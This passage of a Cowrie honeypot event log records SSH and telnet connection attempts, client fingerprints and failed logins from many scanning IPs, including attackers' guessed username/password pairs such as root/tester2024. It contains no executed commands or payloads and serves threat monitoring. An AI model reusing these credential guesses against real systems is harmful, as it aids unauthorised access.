a1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:43.421487Z","src_ip":"80.94.92.182","session":"5048e1734f89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"pa2ssw0rd","message":"login attempt [solana/pa2ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:44.067340Z","src_ip":"80.94.92.182","session":"5048e1734f89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:45.333532Z","src_ip":"80.94.92.182","session":"5048e1734f89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38612,"dst_ip":"10.17.0.5","dst_port":23,"session":"92041f964b3f","protocol":"telnet","message":"New connection: 62.210.97.77:38612 (10.17.0.5:23) [session: 92041f964b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:51.106008Z"}
{"eventid":"cowrie.session.closed","duration":39.822142601013184,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:52.255989Z","src_ip":"165.232.131.181","session":"aeeaa82b4303","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44842,"dst_ip":"10.17.0.5","dst_port":23,"session":"ece41b3f42cf","protocol":"telnet","message":"New connection: 38.54.119.93:44842 (10.17.0.5:23) [session: ece41b3f42cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:59.516171Z"}
{"eventid":"cowrie.session.closed","duration":7.49796986579895,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:07.014031Z","src_ip":"38.54.119.93","session":"ece41b3f42cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50768,"dst_ip":"10.17.0.5","dst_port":23,"session":"d75a8b92c982","protocol":"telnet","message":"New connection: 62.210.97.77:50768 (10.17.0.5:23) [session: d75a8b92c982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:07.329469Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":41256,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb6a04764f4a","protocol":"ssh","message":"New connection: 61.72.55.130:41256 (159.203.135.109:22) [session: eb6a04764f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:08.988030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:08.992846Z","src_ip":"61.72.55.130","session":"eb6a04764f4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:09.195011Z","src_ip":"61.72.55.130","session":"eb6a04764f4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test1","message":"login attempt [ubuntu/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:10.035162Z","src_ip":"61.72.55.130","session":"eb6a04764f4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:11.240816Z","src_ip":"61.72.55.130","session":"eb6a04764f4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55254,"dst_ip":"10.17.0.5","dst_port":23,"session":"23721acf4861","protocol":"telnet","message":"New connection: 38.54.119.93:55254 (10.17.0.5:23) [session: 23721acf4861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:15.492135Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55052,"dst_ip":"10.17.0.5","dst_port":23,"session":"296581d8f4d4","protocol":"telnet","message":"New connection: 62.210.97.77:55052 (10.17.0.5:23) [session: 296581d8f4d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:19.895465Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":60554,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e73bf69258f","protocol":"ssh","message":"New connection: 20.203.42.204:60554 (159.203.135.109:22) [session: 0e73bf69258f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:20.531699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:20.537477Z","src_ip":"20.203.42.204","session":"0e73bf69258f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:20.707391Z","src_ip":"20.203.42.204","session":"0e73bf69258f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"deploy12345","message":"login attempt [ubuntu/deploy12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:21.405047Z","src_ip":"20.203.42.204","session":"0e73bf69258f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:22.574600Z","src_ip":"20.203.42.204","session":"0e73bf69258f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.308125495910645,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:25.414053Z","src_ip":"62.210.97.77","session":"92041f964b3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33174,"dst_ip":"10.17.0.5","dst_port":23,"session":"d54eae432d13","protocol":"telnet","message":"New connection: 38.54.119.93:33174 (10.17.0.5:23) [session: d54eae432d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:25.910031Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":34902,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d4f07f3a3ad","protocol":"telnet","message":"New connection: 38.54.119.93:34902 (10.17.0.5:23) [session: 5d4f07f3a3ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:28.424512Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":34336,"dst_ip":"10.17.0.5","dst_port":23,"session":"540075a31dc5","protocol":"telnet","message":"New connection: 65.60.27.33:34336 (10.17.0.5:23) [session: 540075a31dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:29.895761Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":38730,"dst_ip":"10.17.0.5","dst_port":23,"session":"d99bcf299cf5","protocol":"telnet","message":"New connection: 38.54.119.93:38730 (10.17.0.5:23) [session: d99bcf299cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:34.806601Z"}
{"eventid":"cowrie.session.closed","duration":8.92053508758545,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:34.830426Z","src_ip":"38.54.119.93","session":"d54eae432d13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.332456350326538,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:36.756865Z","src_ip":"38.54.119.93","session":"5d4f07f3a3ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":40258,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d00f531f015","protocol":"telnet","message":"New connection: 38.54.119.93:40258 (10.17.0.5:23) [session: 8d00f531f015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:37.486583Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":52272,"dst_ip":"10.17.0.5","dst_port":22,"session":"162554050721","protocol":"ssh","message":"New connection: 94.156.152.18:52272 (10.17.0.5:22) [session: 162554050721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:37.838529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:37.842428Z","src_ip":"94.156.152.18","session":"162554050721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:37.976074Z","src_ip":"94.156.152.18","session":"162554050721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.5328102111816406,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:38.339279Z","src_ip":"38.54.119.93","session":"d99bcf299cf5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ#8VCPU32GBAMD","message":"login attempt [root/XYZZ#8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:38.378378Z","src_ip":"94.156.152.18","session":"162554050721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:39.515320Z","src_ip":"94.156.152.18","session":"162554050721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43058,"dst_ip":"10.17.0.5","dst_port":23,"session":"35c283ab7a75","protocol":"telnet","message":"New connection: 38.54.119.93:43058 (10.17.0.5:23) [session: 35c283ab7a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:41.732241Z"}
{"eventid":"cowrie.session.closed","duration":35.5931830406189,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:42.922562Z","src_ip":"62.210.97.77","session":"d75a8b92c982","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.683411598205566,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:43.169904Z","src_ip":"38.54.119.93","session":"8d00f531f015","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49734,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfd098649686","protocol":"telnet","message":"New connection: 38.54.119.93:49734 (10.17.0.5:23) [session: bfd098649686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:52.056650Z"}
{"eventid":"cowrie.session.closed","duration":32.79274082183838,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:52.688099Z","src_ip":"62.210.97.77","session":"296581d8f4d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":53102,"dst_ip":"159.203.135.109","dst_port":23,"session":"330c524b63a2","protocol":"telnet","message":"New connection: 192.211.53.160:53102 (159.203.135.109:23) [session: 330c524b63a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:55.131129Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37616,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e6958736a40","protocol":"telnet","message":"New connection: 62.210.97.77:37616 (10.17.0.5:23) [session: 2e6958736a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:55.585436Z"}
{"eventid":"cowrie.session.closed","duration":4.733204126358032,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:39:56.789771Z","src_ip":"38.54.119.93","session":"bfd098649686","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":60100,"dst_ip":"159.203.135.109","dst_port":22,"session":"871267eba4d8","protocol":"ssh","message":"New connection: 61.72.55.130:60100 (159.203.135.109:22) [session: 871267eba4d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:04.355223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:04.359792Z","src_ip":"61.72.55.130","session":"871267eba4d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:04.568278Z","src_ip":"61.72.55.130","session":"871267eba4d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tester2024","message":"login attempt [root/tester2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:05.427921Z","src_ip":"61.72.55.130","session":"871267eba4d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:06.640116Z","src_ip":"61.72.55.130","session":"871267eba4d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58916,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccdf48cf41f3","protocol":"telnet","message":"New connection: 62.210.97.77:58916 (10.17.0.5:23) [session: ccdf48cf41f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:06.650482Z"}
{"eventid":"cowrie.session.closed","duration":52.27114415168762,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:07.763128Z","src_ip":"38.54.119.93","session":"23721acf4861","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"84.54.73.92","src_port":32796,"dst_ip":"10.17.0.5","dst_port":23,"session":"f73df49a3258","protocol":"telnet","message":"New connection: 84.54.73.92:32796 (10.17.0.5:23) [session: f73df49a3258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:10.267879Z"}
{"eventid":"cowrie.session.closed","duration":42.49430704116821,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:12.389927Z","src_ip":"65.60.27.33","session":"540075a31dc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45366,"dst_ip":"10.17.0.5","dst_port":23,"session":"6aa7fc729461","protocol":"telnet","message":"New connection: 165.232.131.181:45366 (10.17.0.5:23) [session: 6aa7fc729461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:14.045580Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.113.90.218","src_port":5936,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4620e81a725","protocol":"telnet","message":"New connection: 105.113.90.218:5936 (10.17.0.5:23) [session: d4620e81a725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:16.636882Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59454,"dst_ip":"10.17.0.5","dst_port":23,"session":"78849f106ef0","protocol":"telnet","message":"New connection: 65.60.27.33:59454 (10.17.0.5:23) [session: 78849f106ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:19.639751Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":64399,"dst_ip":"10.17.0.5","dst_port":22,"session":"205bba109e7d","protocol":"ssh","message":"New connection: 115.68.208.117:64399 (10.17.0.5:22) [session: 205bba109e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:22.607813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:23.184621Z","src_ip":"115.68.208.117","session":"205bba109e7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.077394247055054,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:23.345148Z","src_ip":"84.54.73.92","session":"f73df49a3258","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:23.385122Z","src_ip":"115.68.208.117","session":"205bba109e7d","protocol":"ssh"}
